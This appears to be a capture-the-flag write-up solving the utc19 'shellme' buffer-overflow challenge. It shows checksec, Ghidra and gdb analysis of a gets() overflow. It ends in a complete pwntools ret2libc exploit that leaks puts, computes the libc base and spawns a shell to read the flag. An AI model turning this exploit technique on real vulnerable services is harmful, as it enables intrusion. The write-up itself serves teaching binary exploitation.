[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/shme]
→ wget -q https://github.com/guyinatuxedo/nightmare/raw/master/modules/08-bof_dynamic/utc19_shellme/libc6_2.27-3ubuntu1_i386.so
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/shme]
→ wget -q https://github.com/guyinatuxedo/nightmare/raw/master/modules/08-bof_dynamic/utc19_shellme/server
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/shme]
→ file server
server: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=be2f490cdd60374344e1075c9dd31060666bd524, not stripped
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/shme]
→ chmod +x server
First let's run pwn checksec on the binary file, and then execute it to see what it does:
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/shme]
→ pwn checksec server; ./server
[*] '/home/nothing/binexp/2/shme/server'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Legend: buff MODIFIED padding MODIFIED
notsecret MODIFIED secret MODIFIED
return address MODIFIED
0xffd2a2e0 | 00 00 00 00 00 00 00 00 |
0xffd2a2e8 | 00 00 00 00 00 00 00 00 |
0xffd2a2f0 | 00 00 00 00 00 00 00 00 |
0xffd2a2f8 | 00 00 00 00 00 00 00 00 |
0xffd2a300 | ff ff ff ff ff ff ff ff |
0xffd2a308 | ff ff ff ff ff ff ff ff |
0xffd2a310 | 40 d5 f0 f7 00 a0 04 08 |
0xffd2a318 | 28 a3 d2 ff 8b 86 04 08 |
Return address: 0x0804868b
Input some text: here is some text
Legend: buff MODIFIED padding MODIFIED
notsecret MODIFIED secret MODIFIED
return address MODIFIED
0xffd2a2e0 | 68 65 72 65 20 69 73 20 |
0xffd2a2e8 | 73 6f 6d 65 20 74 65 78 |
0xffd2a2f0 | 74 00 00 00 00 00 00 00 |
0xffd2a2f8 | 00 00 00 00 00 00 00 00 |
0xffd2a300 | ff ff ff ff ff ff ff ff |
0xffd2a308 | ff ff ff ff ff ff ff ff |
0xffd2a310 | 40 d5 f0 f7 00 a0 04 08 |
0xffd2a318 | 28 a3 d2 ff 8b 86 04 08 |
Return address: 0x0804868b
We see that we are dealing with a 32bit binary that has NX enabled, when we run the binary, and put in too much text we get the following:
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/shme]
→ ./server
Legend: buff MODIFIED padding MODIFIED
notsecret MODIFIED secret MODIFIED
return address MODIFIED
0xffd19e90 | 00 00 00 00 00 00 00 00 |
0xffd19e98 | 00 00 00 00 00 00 00 00 |
0xffd19ea0 | 00 00 00 00 00 00 00 00 |
0xffd19ea8 | 00 00 00 00 00 00 00 00 |
0xffd19eb0 | ff ff ff ff ff ff ff ff |
0xffd19eb8 | ff ff ff ff ff ff ff ff |
0xffd19ec0 | 40 75 ef f7 00 a0 04 08 |
0xffd19ec8 | d8 9e d1 ff 8b 86 04 08 |
Return address: 0x0804868b
Input some text: 0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
Legend: buff MODIFIED padding MODIFIED
notsecret MODIFIED secret MODIFIED
return address MODIFIED
0xffd19e90 | 30 30 30 30 30 30 30 30 |
0xffd19e98 | 30 30 30 30 30 30 30 30 |
0xffd19ea0 | 30 30 30 30 30 30 30 30 |
0xffd19ea8 | 30 30 30 30 30 30 30 30 |
0xffd19eb0 | 30 30 30 30 30 30 30 30 |
0xffd19eb8 | 30 30 30 30 30 30 30 30 |
0xffd19ec0 | 30 30 30 30 30 30 30 30 |
0xffd19ec8 | 30 30 30 30 30 30 30 30 |
Return address: 0x30303030
[1] 1782143 segmentation fault (core dumped) ./server
So here we see that we can cause a seg fault when we put in too much text, now let's take a look at it from inside ghidra:
Luckily this time the main function is actually called 'main' so it was easy to find, we get the following code:
undefined4 main(void)
{
undefined *puVar1;
puVar1 = &stack0x00000004;
setbuf(stdout,(char *)0x0);
setbuf(stdin,(char *)0x0);
vuln(puVar1);
return 0;
}
Here we see a function called 'vuln' so let's take a look at it:
void vuln(void)
{
char local_3c [32];
undefined local_1c [20];
memset(local_3c,0,0x20);
memset(local_1c,0xff,0x10);
init_visualize(local_3c);
visualize(local_3c);
printf("Input some text: ");
gets(local_3c);
visualize(local_3c);
return;
}
Here we see that local_3c is initially set to be able to hold only 32 bytes of data, but then we see that it gets passed into a gets() call, and we know that gets calls are vulnerable to buffer overflows because it doesn't restrict our input at all. Plus since there is no stack canary, we can overwrite the return address and get code execution, so we let's set a breakpoint after the gets call, and see where our text input is stored in memory:
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/shme]
→ gdb ./server
GNU gdb (GDB) 10.1
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-pc-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
.
Find the GDB manual and other documentation resources online at:
.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
GEF for linux ready, type `gef' to start, `gef config' to configure
92 commands loaded for GDB 10.1 using Python engine 3.9
Reading symbols from ./server...
(No debugging symbols found in ./server)
gef➤ disas vulnm
No symbol table is loaded. Use the "file" command.
gef➤ disas vuln
Dump of assembler code for function vuln:
0x080485b1 <+0>: push ebp
0x080485b2 <+1>: mov ebp,esp
0x080485b4 <+3>: push ebx
0x080485b5 <+4>: sub esp,0x34
0x080485b8 <+7>: call 0x80484c0 <__x86.get_pc_thunk.bx>
0x080485bd <+12>: add ebx,0x1a43
0x080485c3 <+18>: sub esp,0x4
0x080485c6 <+21>: push 0x20
0x080485c8 <+23>: push 0x0
0x080485ca <+25>: lea eax,[ebp-0x38]
0x080485cd <+28>: push eax
0x080485ce <+29>: call 0x8048440
0x080485d3 <+34>: add esp,0x10
0x080485d6 <+37>: sub esp,0x4
0x080485d9 <+40>: push 0x10
0x080485db <+42>: push 0xff
0x080485e0 <+47>: lea eax,[ebp-0x18]
0x080485e3 <+50>: push eax
0x080485e4 <+51>: call 0x8048440
0x080485e9 <+56>: add esp,0x10
0x080485ec <+59>: sub esp,0xc
0x080485ef <+62>: lea eax,[ebp-0x38]
0x080485f2 <+65>: push eax
0x080485f3 <+66>: call 0x804869e
0x080485f8 <+71>: add esp,0x10
0x080485fb <+74>: sub esp,0xc
0x080485fe <+77>: lea eax,[ebp-0x38]
0x08048601 <+80>: push eax
0x08048602 <+81>: call 0x80486e1
0x08048607 <+86>: add esp,0x10
0x0804860a <+89>: sub esp,0xc
0x0804860d <+92>: lea eax,[ebx-0x16dd]
0x08048613 <+98>: push eax
0x08048614 <+99>: call 0x80483f0
0x08048619 <+104>: add esp,0x10
0x0804861c <+107>: sub esp,0xc
0x0804861f <+110>: lea eax,[ebp-0x38]
0x08048622 <+113>: push eax
0x08048623 <+114>: call 0x8048400
0x08048628 <+119>: add esp,0x10
0x0804862b <+122>: sub esp,0xc
0x0804862e <+125>: lea eax,[ebp-0x38]
0x08048631 <+128>: push eax
0x08048632 <+129>: call 0x80486e1
0x08048637 <+134>: add esp,0x10
0x0804863a <+137>: nop
0x0804863b <+138>: mov ebx,DWORD PTR [ebp-0x4]
0x0804863e <+141>: leave
0x0804863f <+142>: ret
End of assembler dump.
gef➤ b *vuln+119
Breakpoint 1 at 0x8048628
gef➤ r
Starting program: /home/nothing/binexp/2/shme/server
Legend: buff MODIFIED padding MODIFIED
notsecret MODIFIED secret MODIFIED
return address MODIFIED
0xffffd0a0 | 00 00 00 00 00 00 00 00 |
0xffffd0a8 | 00 00 00 00 00 00 00 00 |
0xffffd0b0 | 00 00 00 00 00 00 00 00 |
0xffffd0b8 | 00 00 00 00 00 00 00 00 |
0xffffd0c0 | ff ff ff ff ff ff ff ff |
0xffffd0c8 | ff ff ff ff ff ff ff ff |
0xffffd0d0 | 40 05 f9 f7 00 a0 04 08 |
0xffffd0d8 | e8 d0 ff ff 8b 86 04 08 |
Return address: 0x0804868b
Input some text: 13371337
Breakpoint 1, 0x08048628 in vuln ()
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0xffffd0a0 → "13371337"
$ebx : 0x0804a000 → 0x08049f0c → 0x00000001
$ecx : 0xf7f90540 → 0xfbad208b
$edx : 0xfbad208b
$esp : 0xffffd090 → 0xffffd0a0 → "13371337"
$ebp : 0xffffd0d8 → 0xffffd0e8 → 0x00000000
$esi : 0x1
$edi : 0x08048470 → <_start+0> xor ebp, ebp
$eip : 0x08048628 → add esp, 0x10
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffd090│+0x0000: 0xffffd0a0 → "13371337" ← $esp
0xffffd094│+0x0004: 0x000000ff
0xffffd098│+0x0008: 0x00000010
0xffffd09c│+0x000c: 0x080485bd → add ebx, 0x1a43
0xffffd0a0│+0x0010: "13371337"
0xffffd0a4│+0x0014: "1337"
0xffffd0a8│+0x0018: 0x00000000
0xffffd0ac│+0x001c: 0x00000000
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
0x804861f lea eax, [ebp-0x38]
0x8048622 push eax
0x8048623 call 0x8048400
→ 0x8048628 add esp, 0x10
0x804862b sub esp, 0xc
0x804862e lea eax, [ebp-0x38]
0x8048631 push eax
0x8048632 call 0x80486e1
0x8048637 add esp, 0x10
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "server", stopped 0x8048628 in vuln (), reason: BREAKPOINT
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8048628 → vuln()
[#1] 0x804868b → main()
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤
So what we did here was first disassemble the vuln function, set the breakpoint to be right after the gets call, and then run the binary, we gave it a simple pattern (13371337) and then we hit our breakpoint. So let's search for our pattern in memory, to determine the offset in between our input and the return address:
gef➤ search-pattern 13371337
[+] Searching '13371337' in memory
[+] In '[stack]'(0xfffdd000-0xffffe000), permission=rw-
0xffffd0a0 - 0xffffd0a8 → "13371337"
gef➤ info frame
Stack level 0, frame at 0xffffd0e0:
eip = 0x8048628 in vuln; saved eip = 0x804868b
called by frame at 0xffffd100
Arglist at 0xffffd0d8, args:
Locals at 0xffffd0d8, Previous frame's sp is 0xffffd0e0
Saved registers:
ebx at 0xffffd0d4, ebp at 0xffffd0d8, eip at 0xffffd0dc
Here we see that our input text is at 0xffffd0a0 and the return address is at 0xffffd0dc So we can easily find the offset from a python3 shell:
[ 192.168.0.18/24 ] [ /dev/pts/17 ] [Documents/Github/blog]
→ python3
Python 3.9.2 (default, Feb 20 2021, 18:40:11)
[GCC 10.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> hex( 0xffffd0a0 - 0xffffd0dc )
'-0x3c'
And here we see that we have a 0x3c bytes offset between our text input and the return address. The idea here is that we're going to call an instruction pointer, but what is it that we're going to call ? All we need is just 2 libc infoleaks, and it can become possible to identify the libc versions.
[ 192.168.0.18/24 ] [ /dev/pts/27 ] [binexp/2/shme]
→ objdump -D server | grep puts
08048410 <puts@plt>:
8048704: e8 07 fd ff ff call 8048410 <puts@plt>
8048716: e8 f5 fc ff ff call 8048410 <puts@plt>
8048846: e8 c5 fb ff ff call 8048410 <puts@plt>
8048881: e8 8a fb ff ff call 8048410 <puts@plt>
[ 192.168.0.18/24 ] [ /dev/pts/27 ] [binexp/2/shme]
→ vim exploit.py
We're going to make use of guyinatuxedo's 'TheNight' Python library:
import TheNight
from pwn import *
libc = ELF("libc6_2.27-3ubuntu1_i386.so")
target = process("./server")
elf = ELF('server')
payload = ""
payload += "0"*0x3c
payload += p32(elf.symbols["puts"])
payload += p32(elf.symbols["vuln"])
payload += p32(elf.got["puts"])
target.sendline(payload)
for i in range(0, 2):
print target.recvuntil("Return address:")
for i in range(0, 2):
print target.recvline()
leak0 = target.recvline()[0:4]
puts = u32(leak0)
libcBase = puts - libc.symbols["puts"]
print "libc base: " + hex(libcBase)
binshOffset = 0x17e0cf
payload1 = ""
payload1 += "0"*0x3c
payload1 += p32(libcBase + libc.symbols["system"])
payload1 += p32(0x30303030)
payload1 += p32(libcBase + binshOffset)
target.sendline(payload1)
target.interactive()
And when we run it:
[*] '/Hackery/utc/shelltime/libc6_2.27-3ubuntu1_i386.so'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/Hackery/utc/shelltime/server'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Legend: buff MODIFIED padding MODIFIED
notsecret MODIFIED secret MODIFIED
return address MODIFIED
0xffbba510 | 00 00 00 00 00 00 00 00 |
0xffbba518 | 00 00 00 00 00 00 00 00 |
0xffbba520 | 00 00 00 00 00 00 00 00 |
0xffbba528 | 00 00 00 00 00 00 00 00 |
0xffbba530 | ff ff ff ff ff ff ff ff |
0xffbba538 | ff ff ff ff ff ff ff ff |
0xffbba540 | c0 d5 ef f7 00 a0 04 08 |
0xffbba548 | 58 a5 bb ff 8b 86 04 08 |
Return address:
0x0804868b
Input some text:
Legend: buff MODIFIED padding MODIFIED
notsecret MODIFIED secret MODIFIED
return address MODIFIED
0xffbba510 | 30 30 30 30 30 30 30 30 |
0xffbba518 | 30 30 30 30 30 30 30 30 |
0xffbba520 | 30 30 30 30 30 30 30 30 |
0xffbba528 | 30 30 30 30 30 30 30 30 |
0xffbba530 | 30 30 30 30 30 30 30 30 |
0xffbba538 | 30 30 30 30 30 30 30 30 |
0xffbba540 | 30 30 30 30 30 30 30 30 |
0xffbba548 | 30 30 30 30 10 84 04 08 |
Return address:
0x08048410
libc base: 0xf7d25000
[*] Switching to interactive mode
Legend: buff \x1b[32;1mMODIFIED padding MODIFIED
notsecret MODIFIED secret MODIFIED
return address MODIFIED
0xffbba518 | 00 00 00 00 00 00 00 00 |
0xffbba520 | 00 00 00 00 00 00 00 00 |
0xffbba528 | 00 00 00 00 00 00 00 00 |
0xffbba530 | 00 00 00 00 00 00 00 00 |
0xffbba538 | ff ff ff ff ff ff ff ff |
0xffbba540 | ff ff ff ff ff ff ff ff |
0xffbba548 | 00 00 00 00 30 30 30 30 |
0xffbba550 | 30 30 30 30 18 a0 04 08 |
Return address: 0x0804a018
Input some text:
Legend: buff MODIFIED padding MODIFIED
notsecret MODIFIED secret MODIFIED
return address MODIFIED
0xffbba518 | 30 30 30 30 30 30 30 30 |
0xffbba520 | 30 30 30 30 30 30 30 30 |
0xffbba528 | 30 30 30 30 30 30 30 30 |
0xffbba530 | 30 30 30 30 30 30 30 30 |
0xffbba538 | 30 30 30 30 30 30 30 30 |
0xffbba540 | 30 30 30 30 30 30 30 30 |
0xffbba548 | 30 30 30 30 30 30 30 30 |
0xffbba550 | 30 30 30 30 00 22 d6 f7 |
Return address: 0xf7d62200
$ cat flag.txt
utc{c0ntr0ling_r1p_1s_n0t_t00_h4rd}
And we get the flag!
text
text